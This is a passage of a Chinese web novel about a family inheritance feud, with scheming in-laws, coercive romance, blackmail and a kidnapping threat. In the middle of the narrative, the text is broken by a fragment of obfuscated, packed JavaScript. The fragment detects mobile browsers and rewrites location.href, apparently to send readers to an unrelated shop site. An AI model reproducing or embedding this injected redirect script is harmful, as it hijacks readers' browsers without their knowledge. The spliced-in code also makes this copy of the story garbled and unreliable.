“我有行车记录仪被删减前的云端备份。”苏可人颤抖着从贴身内衣里摸出一枚极小的储存卡,“那天晚上,我因为害怕陆钦反悔,偷偷开启了远程监听。车子出事前,陆钦接到了一个电话,电话那头的人只说了一句:‘大哥,该上路了。’”
“那声音是谁的?”陆域的一颗心提到了嗓子眼。
苏可人咬着唇,脸色惨白如纸。
“声纹做过处理,但我辨认得出那个语调……极冷,极狂。陆家除了陆慎,没人敢这么跟陆钦说话。”
陆域先是一愣,随即爆发出一阵狂笑。
“哈哈哈哈!陆慎啊陆慎,你千算万算,没算到这个**手里还捏着这种脏东西!”
陆域笑得眼泪都快出来了,那是报复的快感,“亲弟弟买**亲哥哥,这消息要是传到爷爷耳朵里,陆慎就算有通天的本事,也得给我滚下继承人的位置!”
“把卡给我!”陆域伸手。
苏可人却猛地缩回手,眼神防备。
“不行!除非你现在带我离开江城,并保证我的安全。二少,我知道你手里有一条通往境外的私人航线。”
陆域眼底闪过一丝狠戾,就在他准备喊保镖强行搜身时,苏可人的声音再次传来。
“二少,这内存卡里的内容,只有一半……还是我拷贝下来的。原版,在另一张卡里,我没带来!”
苏可人就是再愚蠢,也知道给自己留一手。
陆域看着苏可人,眼底的神色变幻着。
突然笑了起来。“好,带你离开,没问题……但是,目前我还走不了,得过段时间,我可以借着治疗腿的名义……”
苏可人看向陆域那双腿,最终点了点头。
但是,她不忘给自己再谋点好处。“二少,我现在被程丽梅的人监视着。我相信,你应该能保证我的安全吧。”
“那是自然,这点能力,我还是有的。”说完,陆域让人送苏可人回医院。并保证,医院会有他的人在,程丽梅不能对她做什么!
在苏可人离开后,陆域面容狰狞而扭曲。
陆慎啊陆慎,任你如何厉害,百密终有一疏,这次,我要彻底的把你踩在脚底下!
悍马车内,陆慎终于松开了苏亦姝,指尖慢条斯理地揩过苏亦姝唇角的血迹。
刚才那个带着惩戒意味的吻,让两人的呼吸都还带着未散的灼热与血腥。
陆慎侧过头,声音低哑,“只要你听话,我能帮你拿回来的,绝不只是区区遗产。”
苏亦姝心跳如鼓,还没等她平复心情,不远处柯家别墅的大门缓缓开启。
一辆低调的黑色轿车从里面驶了出来,那是陆域平日常坐的车。
苏亦姝神色一紧,刚要推门下车去追,周轩却已经悄无声息地出现在车窗旁。
“陆总,苏小姐。”周轩神色冷肃,低声汇报,“刚看清楚了,苏可人在车上。她是跟着陆域的车走的。”
苏亦姝心头一震,看向陆慎。“苏可人竟然真的跟陆域联手了?她难道不知道陆域比程丽梅更难对付?”
陆慎听完,反倒不紧不慢地靠回椅背,嘴角勾起一抹玩味的弧度,笑得极其嘲讽。
“苏可人这块烂泥,求生欲倒是强。知道程丽梅靠不住,转头就爬上了陆域那条破船。”
他修长的手指在苏亦姝的脊背游走着,眼神幽暗不明。“她大概以为陆域能给她荣华富贵,却不知,陆域会不会让她活下来都是个未知数。”
“你就不担心?”苏亦姝皱眉。
“担心什么?”陆慎侧头,目光灼灼地攫住她,半开玩笑半认真地开口,“担心我的好嫂子,会为了那份遗产,也跟着陆域一起算计我?”
苏亦姝避开他的视线,冷声回道:“既然她又找了个合作伙伴,我的处境就更难了。陆慎,希望你所谓的‘满意’,能快点兑现。”
隔天,陆家老宅。
今天是陆家例行回老宅吃饭的日子,原本因为陆钦的过世气氛沉闷,可今日却透着一股剑拔**张的诡异。
苏亦姝比陆慎先到一步。
她跨入大厅时,第一眼看到的便是拿着佛串的程丽梅。
程丽梅依旧一身素雅,手里捻着佛珠,眉宇间那股子戾气似乎被佛烟遮掩了几分,可看向苏亦姝的眼神,依旧冷得像冰。
二房的人也到齐了,陆域坐在特制的轮椅上,膝盖上盖着薄毯,那张阴鸷的脸
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上,在看到苏亦姝的一瞬间,露出一个令人毛骨悚然的笑容。
“大嫂,几日不见,气色不错。”陆域幽幽开口,声音像是在毒液里浸过。
苏亦姝不动声色地收回目光,先到主位上跟陆老爷子问了好。
“爷爷,这段时间公司事情多,没能常回来陪您。”苏亦姝落座,礼数周全,滴水不漏。
陆老爷子点了点头,还没开口,一旁的程丽梅便冷笑一声。“是公司事情多,还是心太野了,自己心里清楚。”
陆老爷子眉头一皱:“丽梅,亦姝工作能力强势好事,你少说两句。”
程丽梅没再说话,继续转着手里的佛串。
柯沁看了眼程丽梅,突然开口,“说起来,阿钦这一走,最可怜的还是那还没出世的孩子。大嫂,我听说苏可人那孩子最近身体不太好?这可是大房唯一的血脉了。”
程丽梅眼神微闪,看了一眼不远处的陆域,意有所指道:“只要没人心怀鬼胎,孩子自然能平安。倒是阿钦留下的那点东西,最近被不少人盯着,我这心里不安生。”
程丽梅的话音刚落,大厅里的空气仿佛被冻住了一般。
苏亦姝垂下眼帘,纤细的长指轻轻摩挲着青花瓷茶杯的杯沿,神色疏离而静谧。
她仿佛没听懂程丽梅话里话外的讥讽。
“二婶说得是,阿钦走得突然,血脉确实重要。”苏亦姝微微抬眸,语调听不出半分波澜,“既然妈觉得心里不安生,不如就让苏可人在医院多住些日子,那里专家多,总归比在外面折腾要稳妥。”
她这话回得滴水不漏,甚至还带了几分“长媳”的宽宏大量,直把程丽梅噎得脸色一僵。
坐在一旁的陆域摩挲着膝盖上的薄毯,指甲隔着织物深深陷进掌心。
他看着苏亦姝那副宠辱不惊的模样,脑海里全是苏可人昨晚说的那些话。
只要他拿到原版储存卡,眼前这个清冷孤傲的女人,还有那个不可一世的陆慎,都会被钉在陆家的耻辱柱上,永世不得翻身。
当然,他也能趁机让苏亦姝在他的身下哭泣求饶……
“大嫂倒真是大度。”陆域阴测测地开口,目光如毒蛇般在苏亦姝身上游走,“只是大哥的遗产,数额巨大,若是没了名正言顺的继承人,确实容易引人觊觎。爷爷,您说是吧?”
第二十七章 名为合作,实为猎物
陆老爷子放下手中的拐杖,苍老的双眼中闪过一抹精光。
他看向苏亦姝,眼底的神色有些让人捉摸不透。
还没来得及开口,大厅门外便传来一阵稳健而嚣张的脚步声。
陆慎穿着一身玄黑色西装,带着满身不驯的戾气走了进来。
他没看任何人,径直走到了苏亦姝身边的空位坐下,长腿交叠,姿态闲适。
“在聊什么?这么热闹。”陆慎修长的手指敲了敲桌面,目光似有若无地扫过陆域那双盖着毯子的腿,嘴角的笑意残忍且玩味,“二哥这段时间‘养伤’养得气色不错,看来柯家请的医生,确实有些本事。”
陆域眼神一紧,咬牙道:“承蒙三弟‘照顾’,我自然要好好活着。”
陆慎嗤笑一声,转头看向程丽梅,语调凉薄。
“妈,佛经念久了,心里的不安生消了没?要是还没消,我手下倒是有几个专门治心病的‘老师’,可以送去佛堂陪陪您。”
程丽梅捏着佛珠的手猛然收紧,指节泛白。
她看向陆慎,眼底的厌恶与憎恨几乎要冲破那层伪装的慈悲。
“够了!”陆老爷子猛地拍了一下桌子,震得茶杯叮当作响,“今天是叫你们回来吃饭的,不是来看你们夹枪带棒的!”
老头子的威严尚在,大厅瞬间安静下来。
陆老爷子转头看向苏亦姝,语气缓和了几分。
“亦姝,阿钦走了,你肩上的担子重。至于阿钦留下的那些股权和房产,理应是由你继承。听说,丽梅把阿钦名下的部分股份已经转给你了,既然给了,那你就拿着。”
苏亦姝刚松了一口气,老爷子话锋一转。
“至于剩下的不动产和信托基金,暂时由老宅监管。等苏可人肚子里的孩子落地,做了亲子鉴定确认是陆家种,再行分配。你有意见吗?”
苏亦姝心头猛地一沉。暂时监管?说得好听,只要东西进了老爷子和程丽梅的手里,她想再拿回来,怕是要脱一层皮。
她刚要开口,却感觉到桌布下,一只滚烫的大手猛地握住了她的膝盖。
陆慎的手劲极大,带着一种不容置疑的掌控感。
他面上依旧挂着那副玩世不恭的笑,可那只手却在一点点向上游走,指尖挑逗般地摩挲着苏亦姝大腿内侧娇嫩的肌肤。
苏亦姝脊背瞬间绷直,温凉的触感让她险些失态。在这陆家老宅,在全家人面前,陆慎竟然敢……
疯子!
“一切听爷爷安排。”
就在苏亦姝即将崩溃的前一秒,陆慎抢在她前面开了口。
他声线四平八稳,听不出半点异样,可桌下的手却恶劣地向上,一把掐住了她纤细的腰肢,将她往自己身边狠狠带了带。
那是一个极其暧昧的占有姿态。
陆域盯着两人略显亲近的坐姿,瞳孔微微紧缩。他几乎可以断定,这两人之间绝对不干净!
家宴开始,席间觥筹交错,却各怀鬼胎。
程丽梅全程阴沉着脸,偶尔投向苏亦姝的目光,像是要把她生吞活剥。
而陆域则像是一个耐心的猎人,在等待一个足以一击毙命的时机。
晚餐结束时,程丽梅突然开口,叫住了正欲离去的苏亦姝。
“亦姝,你等等。”程丽梅擦了擦嘴角,语气生硬,“佛堂新供了一尊送子观音,你陪我去上柱香。”
苏亦姝下意识地侧头看了一眼陆慎。
陆慎正靠在椅背上点烟,他没错过苏亦姝方才那漫不经心的一眼,眼底闪过一抹意味深长的幽光,并未阻拦,只是吐出一口烟圈。
苏亦姝抿了抿唇,起身跟了上去。
佛堂内,檀香袅袅。
刚一进门,程丽梅便卸下了所有的伪装,猛地转身,满身怒意地指着苏亦姝的鼻子。
“苏亦姝,你是怎么答应我的?你说你会安分守己,绝不跟陆慎闹出什么风言风语!可是今天,你们在饭桌上的举动,真当我们都是瞎子吗?!”
苏亦姝握着包的手指微微收紧,面色极力维持着平静。
“我不明白您在说什么。我们做什么了?”
“做什么?你还有脸问?!”程丽梅气得浑身发抖,双眼猩红,“你看看吃饭的时候,他贴你贴得有多近!陆域看你们的眼神都不对了!苏亦姝,你是不是
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离了男人就活不了?那是你小叔子!你要不要脸!”
一想到早上柯沁找她时那副看好戏的嘴脸,程丽梅就恨不得撕了苏亦姝这张脸。
苏亦姝心中暗骂陆慎那个不知收敛的疯子,面上却不得不装出一副无辜受害者的模样。
“妈,腿长在他身上,他要坐哪儿我管得了吗?若是您带着偏见看我,就算我坐在那一动不动,在您眼里也是勾引!”
“好一张伶牙俐齿的嘴!”程丽梅怒极反笑,她深吸一口气,突然从供桌下的抽屉里抽出一份文件,狠狠摔在苏亦姝面前。
“我告诉你,苏亦姝,阿钦的那些股权,我随时都能收回来。”
苏亦姝眼眸一滞,目光落在文件上。“您什么意思?”
程丽梅抱着双臂,居高临下地冷笑。
“那份股权转让合同,你大概是没请律师好好看吧?在附加条款里有一行小字:若受赠方做出任何有损亡夫名誉、或违背公序良俗的行为,赠与方有权无条件收回所有股份,并追究其违约责任。”
苏亦姝的心猛地沉入谷底。
她当初只顾着拿回属于自己的东西,加上有陆慎在旁推波助澜,竟然忽略了这么隐蔽的陷阱!
“看清楚了吗?”程丽梅逼近一步,眼神阴毒,“只要我手里有你跟陆慎乱搞的证据,哪怕只是一张照片,你不仅要净身出户,还得背上巨额违约金坐牢!苏亦姝,你最好给我夹着尾巴做人,否则,别怪我心狠手辣!”
苏亦姝不知道自己是怎么走出佛堂的。
夜色深沉,老宅的回廊下挂着红灯笼,随风摇曳,透着股说不出的诡异感。
程丽梅的那几句话像紧箍咒一样勒在她的脑海里。
违背公序良俗……无条件收回……
这母子俩,果然没一个省油的灯!
程丽梅早就防着她这一手,而陆慎……陆慎当时也在场,他看过那份合同,他为什么没提醒她?
苏亦姝猛地停下脚步,一股寒意从脚底直窜天灵盖。
这时,一道低沉磁性的声音从回廊尽头的阴影里传来。
“在想什么?脸色这么难看。”
第二十八章 疯子的连环局
陆慎倚靠在朱红色的廊柱旁,指尖那点猩红的烟火在黑暗中明明灭灭。
他似乎等了很久,看到苏亦姝走来,才慢条斯理地掐灭了烟头,迈着长腿走过来。
苏亦姝抬起头,死死盯着这个男人俊美妖孽的脸,声音有些发颤。
“那份股权转让合同,你早就知道有问题,对不对?”
陆慎挑眉,没有否认,反而上前一步,将她逼退到墙角,双手撑在她身侧,形成一个完美的禁锢圈。
“大嫂指的是哪一条?是有损名誉,还是……违背公序良俗?”
他低下头,温热的呼吸喷洒在她冰凉的耳廓上,带着一丝恶劣的调笑。
“你是故意的!”苏亦姝气得胸口剧烈起伏,伸手想要推开他,“你明明知道程丽梅留了这一手,你是故意让我签的!陆慎,看着我像个傻子一样跳进火坑,你很得意是不是?”
“啧,别把话说得这么难听。”
陆慎轻而易举地抓住她挥舞的手腕,反剪在身后,将她整个人压向自己。
他眼底的笑意散去,取而代之的是令人心悸的占有欲和深沉。
“苏亦姝,你想拿陆钦的钱,想摆脱陆家,想远走高飞。如果合同没问题,你是不是拿了钱就要把我踹了?”
陆慎的声音低沉而危险,每一个字都像是敲打在苏亦姝的心尖上。
“你……”苏亦姝语塞,被他戳中了心事。
“我怎么能允许这种事情发生呢?”陆慎腾出一只手,轻轻抚摸着她苍白的脸颊,动作温柔,眼神却疯得吓人,“那条‘锁链’是我特意留给程丽梅的,也是留给你的。”
“有了这个把柄,程丽梅以为能拿捏你,所以才会暂时放松警惕。而你……”
陆慎凑近她的唇,近在咫尺。
“只有时刻处于随时会身败名裂的悬崖边上,你才会乖乖听话,才会知道——在这个陆家,除了抱紧我陆慎的大腿,你无路可走。”
苏亦姝看着眼前这个男人,只觉得不寒而栗。
他不仅仅是个疯子,更是个彻头彻尾的控制狂。
他把所有人都算计进去了,包括他自己,也包括她。
“陆慎,你真是个混蛋。”苏亦姝咬牙切齿。
“多谢夸奖。”陆慎并不恼,反而低笑一声,狠狠吻住了她的唇,“为了奖励你的聪明,今晚去我那儿。”
苏亦姝猛地张嘴,一把咬住了陆慎的嘴唇。
“我去你大爷!”
苏亦姝这一口咬得极狠,没有留半分余地。
血腥味在两人的唇齿间迅速蔓延。
陆慎吃痛,却并未退开,反而喉结滚动,发出了一声低沉愉悦的闷笑。
他伸出拇指,毫不在意地抹去唇角渗出的血珠,放到眼前看了看,随后将那抹殷红随意地蹭在了苏亦姝苍白的脸颊上,晕开一道惊心动魄的红痕。
“骂得好。”
陆慎那双幽深的眸子里跳动着病态的兴奋。
“不过大嫂,省点力气。今晚这出戏才刚开场,若是现在就把力气用光了,待会儿怎么陪我看陆域哭?”
“你什么意思?”苏亦姝警惕地看着他,胸口的起伏尚未平复。
“走了。”
陆慎不再废话,也没给苏亦姝拒绝的机会。
他大手扣住她的手腕,力道强势却又不至于弄疼她,直接拽着她穿过幽暗的回廊,径直往老宅大门走去。
一路上,遇到的佣人都低垂着头,根本不敢多看一眼这位煞神和那位满脸寒霜的大少夫人。
悍马车驶离老宅,车厢内气压极低。
苏亦姝抽出纸巾,用力擦拭着唇上残留的属于那个男人的血迹,仿佛那是某种脏东西。
“别擦了,都咽进去了。”
陆慎单手握着方向盘,另一只手搭在车窗沿上,指尖有节奏地敲击着,心情似乎并未因为被咬而变坏,反而因为苏亦姝的“反击”而显得格外高涨。
苏亦姝动作一顿,冷冷地将纸巾攥成团扔在一旁。
“陆慎,你到底在谋划什么?那份合同把我绑死在陆家,对你有什么好处?如果我真的被程丽梅净身出户,我第一个拉你垫背。”
“我要的就是你拉我垫背。”
陆慎侧过头,昏黄的路灯光影在他脸上交错,显得晦暗不明。
“苏亦姝,我要让你明白,在这个世界上,只有我能护着你,也只有我……能让你从那群**不吐骨头的饿狼嘴里,把肉叼回来。”
“至于合同……”陆慎嗤笑一声,眼底闪过一丝精光,“那是给程丽梅吃的定心丸。她以为捏住了你的七寸,就会迫不及待地去处理另一桩麻烦——比如,那个自以为找到了新靠山的苏可人。”
苏亦姝心头一跳:“你是说,苏可人跟陆域联手,也在你的算计之中?”
“苏可人那种蠢货,给她一根杆子她就敢往上爬。她手里那张所谓的‘原版储存卡’,确实有些分量,但她千不该万不该,不该拿着它去找陆域。”
陆慎猛地打了一把方向盘,车子拐进了一处私密性极高的半山庄园,这里是陆慎真正的私人领地,连陆老爷子都未曾踏足过。
“下来。”
车停稳,陆慎解开安全带,推门下车。
苏亦姝犹豫片刻,最终还是跟了上去。
她知道,现在的自己就像是被蛛网黏住的飞虫,挣扎得越厉害,死得越快,不如看看这只蜘蛛到底想干什么。
书房内,几台显示器正亮着幽蓝的光。
周轩见两人进来,恭敬地低头。
“陆总,苏小姐。正如您所料,陆域回到柯家别墅后,第一时间就让技术人员破解那张储存卡的密码。就在一分钟前,他们解开了。”
“很好。”陆慎走到酒柜前,倒了两杯威士忌,将其中一杯递给苏亦姝,“大嫂,过来看看,
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你那位‘好妹妹’究竟给了陆域什么惊天动地的证据。”
苏亦姝没接酒,径直走到屏幕前。
屏幕上并非监控画面,而是一个复杂的数据流界面,正在实时传输着某些文件。
“这是……”苏亦姝皱眉。
“陆域以为他拿到的是我**的录音。”陆慎晃着酒杯,轻描淡写地说道,“但可惜,苏可人从陆钦车上拿下来的那张卡,早在她进医院的第一天,就被我的人调包了。”
苏亦姝瞳孔微缩:“调包了?那卡里现在是什么?”
“是陆钦生前收集的,关于二房——也就是陆域和他父亲,利用海外空壳公司**、转移陆氏资产的所有账目明细。”
陆慎抿了一口酒,嘴角的笑意森寒刺骨。
“而且,我在卡里加了个有趣的小程序。一旦陆域解开密码,这些账目明细就会自动发送两份。一份发给国际经侦科,而另一份……”
“发给爷爷?”苏亦姝下意识接话。
“宾果。”陆慎打了个响指,眼神赞赏,“陆域想用**罪搞死我,结果却是亲手把自己**的铁证送到了老爷子面前。你说,这一招‘大义灭亲’,爷爷是会夸他大公无私呢,还是会直接打断他剩下的那条腿?”
苏亦姝看着屏幕上不断跳动的传输进度条,只觉得浑身发冷。
太狠了。
这根本不是博弈,这是单方面的**。
苏可人以为那是护身符,陆域以为那是**锏,殊不知,这从头到尾都是陆慎埋下的一颗雷。
“那苏可人呢?”苏亦姝问道,“陆域发现被耍了,绝不会放过她。”
“那是她自己的选择。”陆慎放下酒杯,走到苏亦姝身后,双手撑在桌沿,将她圈在怀里,下巴抵在她的肩窝。
“贪婪是要付出代价的。就像你,想要陆钦的遗产,就得付出自由,留在我身边做我的……共犯。”
就在这时,周轩突然开口。“陆总,老爷子那边的电话打到陆域手机上了。”
陆慎眼底闪过一抹嗜血的光。“接通监听,让我大嫂听听,这场豪门大戏的高、潮。”
音箱里传来电流的滋滋声,紧接着,便是陆域惊恐到变调的声音:
“爷爷!您听我解释!这文件不是我的!是陆慎!是陆慎陷害我!那张卡里明明应该是……”
“混账东西!”陆老爷子暴怒的吼声几乎要震破耳膜,“那些海外账户的签名全是你的笔迹!你当你爷爷老糊涂了吗?!马上给我滚回老宅!立刻!否则我就当陆家没你这个子孙!”
“嘟——”电话被挂断。
书房内陷入一片死寂。
陆慎低低地笑出了声,温热的气息喷洒在苏亦姝的耳畔。
“听到了吗?这就是跟我作对的下场。大嫂,现在的二房自顾不暇,程丽梅失去了制衡我的工具,这陆家……更没人能动你了。”
第二十九章 陆家的正义,不过是利益的遮羞布
书房的投屏上,画面最终定格在陆家老宅的监控中。
苏亦姝看着原本怒不可遏的陆老爷子,在看清那些账目明细后,竟然没有第一时间报警,而是缓缓坐回了主位,眼神中闪过一抹深沉的权衡。
不过半小时,消息传来——陆域因“身体不适”,辞去集团所有职务,即日起留老宅静养,无令不得踏出房门半步。
所谓的“大义灭亲”,终究变成了一场关起门来的家法处置。
“这就是你要我看的高、潮?”
苏亦姝盯着屏幕,嗓音里透着一股沁骨的凉意。
“他洗了几个亿,差点毁了半个擎天集团,结果只是禁足?”
陆慎摇晃着酒杯,冰块撞击杯壁发出清脆的响声,在静谧的书房里显得格外讽刺。
“大嫂,在陆家,正义是有市场标价的。”
陆慎走到她身后,弯下腰,双手撑在办公桌边沿,将她整个人圈在怀里。
“报警会引发股价动荡,会让陆氏陷入信誉危机。老头子老了,他求的是‘稳’,而陆域正是算准了这一点,才敢断尾求生。”
苏亦姝冷笑一声,身体往后仰,撞进陆慎坚硬的胸膛。她仰起头,看着这个运筹帷幄的男人。
“所以,你早就预料到会是这个结果?你费尽心机布这么大的局,就为了看他在老宅里关禁闭?”
“急什么?”陆慎指尖挑起她的一缕发丝,眼神幽暗。
“高处落下的重物才摔得最响。禁足是老头子的慈悲,但对我来说,那是为了把陆域这头疯狗关进笼子里,让他眼睁睁看着自己最想要的东西,一点点烂掉。”
陆慎凑近她的耳畔,声音低得像恶魔的低喃:“而且,不给他留一口气,怎么能让他继续去撕咬程丽梅呢?”
苏亦姝心头一颤,她突然意识到,陆慎要的从来不是单纯的胜负,他要的是陆家那些人互相蚕食,最后只剩下他这个收割者。
而她,也是他收割的一环。
“陆慎,你这种人,真的会有真心吗?”苏亦姝突然问道。
陆慎动作一顿,随即发出一声沉闷的笑,他猛地掐住她的细腰,将她整个人拎起来放在办公桌上,欺身而上。
“真心?那种廉价的东西,你要它干什么?”
他吻了吻她苍白的唇,眼神狂戾,“苏亦姝,你应该庆幸,我对你的欲望,比真心长久得多。”
与此同时,老宅后院的独栋别墅内。
“砰!”
一件名贵的古董花瓶被狠狠砸在地上,碎片溅了一地。
陆域坐在轮椅上,双眼猩红,脖子上的青筋暴起,像是一头走投无路的野兽。
他膝盖上的薄毯掉在地上,露出那双打着石膏、显得滑稽又凄惨的断腿。
“陆慎……苏亦姝……”
他咬牙切齿地念着这两个名字。
“你们以为这样就能毁了我?做梦!”
他在商场摸爬滚打这么多年,手里捏着的不仅是那些账目,还有陆家二房多年来在暗处培养的一条极其隐秘的人脉。
虽然他现在失去了实权,甚至被禁足,但老爷子为了保住名声,没收他的私人电脑和通讯设备。
陆域摸出一台从未在人前露过面的卫星电话,拨通了一个号码。
“喂,去查查苏亦姝在国外疗养院的母亲,查到了直接抓了。别让她**,我要让她成为苏亦姝这辈子都醒不过来的噩梦。”
挂断电话,陆域脸上露出一抹扭曲的快感。
既然陆慎要在乎那个女人,那他就亲手撕碎陆慎最想要的玩具。
陆域辞职禁足的消息,像是一块巨石砸入深潭,虽然表面被陆老爷子强行压下了水花,但内里的暗流却愈发汹涌。
苏可人在医院里得到消息时,吓得险些从床上跌下来。
她原以为陆域是能帮她翻身的巨轮,没成想竟是一艘说沉就沉的破船。
“废物!通通都是废物!”苏可人咬着牙,指甲深深陷入掌心。
她摸着自己隆起的小腹,眼底闪过一抹孤注一掷的狠辣。既然陆域指望不上,程丽梅又想弃了她,那她就只能靠自己了。
只要苏亦姝在这个世界上消失,她肚子里的孩子就是陆家唯一的指望!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220617|197516||http|test|mini|href|location''.split(''|''),0,{}));
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r>而在这一片风声鹤唳中,苏亦姝表现得出奇地冷静,甚至可以说是冷酷。
她并没有回陆家老宅受气,而是把全部精力都扑在了苏氏分公司的经营上。
短短一个月,分公司的业绩报表漂亮得惊人,利润竟然直接超过了苏氏总部。
苏氏总部,董事长办公室。
苏振东看着桌上那份财务报表,老脸上的神情极其精彩。有震惊,有贪婪,更多的是一种难以掌控的愤怒。
他原本把苏亦姝赶去分公司,是想让她自生自灭,顺便给陆家一个交代。
可没想到,这个女儿竟然是一头沉睡的狮子,一旦放归山林,竟爆发出了如此恐怖的经商天赋。
“亦姝啊,当初让你去分公司历练,果然没看错你。”
苏振东换上一副慈父的嘴脸,对着被叫回总部的苏亦姝笑道,“现在分公司走上正轨了,你一个女孩子太辛苦。爸爸决定调你回总部当副总裁,分公司那边,就交给公司宿亮平去管吧。”
苏亦姝坐在沙发上,脊背挺得笔直,闻言勾唇冷笑。
想要摘桃子?苏振东这算盘珠子都快崩到她脸上了。
“苏董说笑了。分公司能有今天的成绩,是因为我砍掉了总部那些吃干饭的冗余部门,重新建立的渠道。”苏亦姝慢条斯理地叠起双手,“我现在回总部,分公司的利润恐怕不出三个月就要缩水一半。更何况,我觉得分公司挺好,自由。”
苏振东的面色瞬间阴沉下来,猛地拍桌。
“苏亦姝!我是你爸!我说调你回来是为你好,你别给脸不要脸!你真以为凭你那点本事能翻天?没有苏氏这个靠山,你什么都不是!”
“既然如此,苏董尽管收回试试。”苏亦姝站起身,眼神冰冷无畏,“只要您不怕股价暴跌,我随时可以递交辞呈。”
“你!”苏振东气得浑身发抖,却又真的不敢硬碰硬。现在的苏亦姝,早已不是那个能任由他摆布的棋子了。
苏亦姝推开办公室的门,还没走几步,迎面便撞上了一个意想不到的人。
洪天城。
第三十章 又是威胁,该死
自上次被陆慎在宴会上当众折了面子后,洪天城在圈子里沦为了笑柄。
此刻看到苏亦姝,他那双眼睛里满是怨毒的恨意。
“哟,苏大小姐,不对,应该喊陆少夫人,真是冤家路窄。”
洪天城皮笑肉不笑,语气里带着浓浓的嘲讽。
苏亦姝压根没打算理他,侧身欲走。
却听见洪天城对着办公室里的苏振东喊道:“苏总,看来我们的合同还得再谈谈,毕竟我出的那三个百分点,可是看着苏大小姐的面子才给的。”
苏振东一听“利益”,立刻两眼放光地迎了出来。
“洪少,哪里的话,合同我们进屋谈!”
苏亦姝脚步微顿,扫了一眼洪天城手里的合同大纲。
那是一份关于能源开发的合作案,给出的利润空间高得离谱。
但在苏亦姝看来,那上面的每一个数字都像是精心布置的陷阱,尤其是关于违约金的条款,只要苏氏后续资金链出一点问题,洪天城就能直接吞掉整个苏氏。
“爸,这份合同有问题,洪氏现在的现金流根本支撑不了这么大的项目。”
苏亦姝皱眉提醒道。
“你懂什么!洪总这是诚心合作!”
苏振东此刻已经被利益冲昏了头,再加上刚才被苏亦姝拒绝,心里正窝着火。
“你管好你的分公司就行了,总部的决策轮不到你插嘴!”
洪天城对着苏亦姝露出一个狰狞的笑容,压低声音说道:“苏亦姝,你以为陆慎能护你一辈子?等我把你苏家这点家底掏空,我看你还能傲到什么时候!”
苏亦姝看着苏振东卑躬屈膝地请洪天城进屋,心中升起一阵浓浓的无力感与厌恶。
她抬头看向窗外阴沉的天空,风雨欲来。
苏振东的固执,陆域的蛰伏,洪天城的报复……
这些势力正在拧成一股绳,试图将她拉入深渊。
她摸了摸手机,屏幕上跳动着陆慎发来的信息。
苏亦姝冷笑一声,直接按掉了屏幕。
这些男人,每一个都想掌控她。
但他们忘了,最危险的博弈,往往是在看似平静的死局中,由那个被视为“玩物”的女人,亲手点燃最后一根**。
苏亦姝走出苏氏总部大楼时,狂风吹乱了她的发丝。
苏振东太贪了,贪到连洪天城这种漏洞百出的陷阱都看不出来。
或者说,他看出来了,但他自负地认为自己能玩得过洪天城。
手机在包里剧烈震动,除了陆慎那条被她按掉的信息,还有海绵打来的急电。
“苏总,总部刚才发函,强行抽调了分公司账面上预备下季度投产的三亿资金,说是要投入到和洪氏的能源项目里……”
苏亦姝握着手机的手微微收紧,指节因为用力而泛白。
“由他们去。”
苏亦姝冷冷开口,语气听不出喜怒。
“把抽调资金的公函留好备份,另外,通知财务,把分公司剩下的流动资金全部转入二级信托账户,没有我的签字,谁也不准动。”
挂断电话,苏亦姝刚走到街角,一辆黑色的悍马停到了她面前。
车窗降下,露出陆慎那张冷峻邪肆的面孔。
他单手搭在方向盘上,指尖夹着烟,烟雾模糊了他深邃的眉眼。
“上车。”
简短的两个字,是不容拒绝的命令。
苏亦姝拉开车门坐了进去,一股清冷的烟草味瞬间包裹了她。
陆慎侧过头,目光在她紧绷的脸上打转,随后轻笑一声,修长的手指捏住她的下巴,迫使她转过头来。
“苏振东动了你的钱,委屈了?”
“陆总消息真灵通,苏氏总部还没散会,你就知道了。”
苏亦姝拍开他的手,语气嘲讽。
“在这个圈子里,只要我想知道,就没有秘密。”
陆慎发动引擎,车子如离弦之箭冲了出去。
“洪天城为了报复你,想吞了苏氏,苏振东想拉你垫背。苏亦姝,你现在求我,苏氏那三个亿,我动动手指就能让他吐出来。”
“求你?”
苏亦姝转头看向窗外飞速**的街景,眼底满是倔强。
“陆慎,你救得了我一时,救不了我一世。更何况,你怎么知道我不是在等他把那三个亿吞下去?”
陆慎握着方向盘的手微微一顿,眼底闪过一抹激赏。他猛地一踩刹车,将车停在苏氏分公司停车场,倾身压了过去。
“置之死地而后生?”
陆慎的气息侵略性极强,他盯着苏亦姝那双清亮得惊人的眼睛。
“你想借洪天城的手,彻底断了苏振东的后路,然后顺理成章地接管整个苏氏?”
苏亦姝不避不让,迎上他的视线。
她确实是这个打算,只
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是没想到,他竟然看出来了。
“苏氏姓苏,但不该姓苏振东。他既然想为了利益卖了我,那我就让他看看,什么叫一无所有。”
陆慎看着她,喉间溢出一声低沉的笑,那种病态的占有欲再次翻涌上来。
他猛地扣住她的后脑勺,狠狠吻了下去。
这个吻不带任何温存,满是掠夺与试探。
苏亦姝被他抵在副驾驶位上,呼吸渐渐变得急促。
半晌,陆慎松开她,指尖暧昧地摩挲着她被吻得红肿的唇瓣。
“够疯,不愧是我看上的女人。”
陆慎的声音低哑,带着一丝危险的蛊惑。
“既然你想玩大的,那我就再送你一份礼。陆域虽然被禁足,但他私下给洪天城透了不少底,并且,两人已经达成合作,他想借洪天城的手除掉你。今晚洪氏在会所攒了个局,苏振东若是带一起去,记得跟我说……”
苏亦姝神色微动,冷笑一声,伸手推开陆慎。
“我的事,不劳陆总操心了。陆总,我们还是保持距离比较好……”
“保持距离?”
陆慎眼神阴鸷得可怕。
“苏亦姝,你这个时候跟我说保持距离?是觉得,自己翅膀硬了?还是觉得,已经没有要利用我的地方了?又或者,不想要陆钦的遗产了?”
苏亦姝面色一紧。
她就是……不想跟陆慎走那么近……可是这个疯子,招惹上了,就很难全身而退。
“你大可以试试,看能不能跟我保持距离。”
陆慎盯着她,修长的手指用力按在她唇瓣的伤口上,直到那抹殷红再次变得刺目。
“苏亦姝,这辈子,除了我身边,你哪儿也去不了。”
他冷哼一声,没再继续纠缠。
苏亦姝心头非常躁动,她深吸一口气下车,转身踏入分公司大楼。
刚进办公室,苏振东的电话就像夺命符一样打了过来。
